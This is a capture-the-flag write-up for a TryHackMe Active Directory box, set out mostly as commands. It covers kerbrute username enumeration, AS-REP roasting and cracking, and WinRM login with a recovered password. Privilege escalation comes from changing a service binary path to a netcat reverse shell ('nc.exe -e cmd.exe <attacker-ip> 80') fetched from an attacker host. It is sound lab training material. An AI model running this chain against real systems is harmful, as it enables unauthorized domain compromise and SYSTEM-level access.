IP Address: 10.201.39.158
Difficulty: Medium
Platform: TryHackMe
This box was a Windows Server in an Active Directory environment.
The attack path involved enumerating usernames from a website, validating them with Kerbrute, performing an AS-REP roast to get a password, obtaining WinRM access, and then abusing Server Operators group membership to modify a service for privilege escalation to SYSTEM.
rustscan --ulimit 5000 -a $target -- -sC -sV -Pn -oN nmap_full
Findings:
services.localnetexec smb $target -u '' -p ''
netexec smb $target -u 'guest' -p ''
j.doe@services.local on the site./aboutus contained:
Joanne Doe
Jack Rock
Will Masters
Johnny Larusso
python ~/THM/Roasted/AD-Username-Generator/username-generate.py -u users.txt -o generated_users.txt
kerbrute userenum generated_users.txt --dc $target -d services.local
Valid users found:
j.doe@services.localw.masters@services.localj.rock@services.localj.larusso@services.localimpacket-GetNPUsers services.local/ -dc-ip $target -usersfile kusers.txt -outputfile hashes.txt
j.rock vulnerable.Hash cracked with:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Password: Serviceworks1
netexec winrm $target -u 'j.rock' -p 'Serviceworks1'
evil-winrm -u 'j.rock' -p 'Serviceworks1' -i $target
Retrieved user.txt:
THM{ASr3p_R0****************}
whoami /all → Member of Server Operators group.Identified AWSLiteAgent service running with SYSTEM privileges.
Uploaded netcat:
wget http://<attacker-ip>/nc.exe -o nc.exe
Changed service binary path:
sc.exe config AWSLiteAgent binPath="C:\Users\j.rock\Desktop\nc.exe -e cmd.exe <attacker-ip> 80"
sc.exe stop AWSLiteAgent
sc.exe start AWSLiteAgent
nc -lvnp 80
Connected as NT AUTHORITY\SYSTEM.
Retrieved root.txt:
THM{S3rv3r_0p************}
Server Operators group is dangerous — service binary replacement is an easy SYSTEM privesc.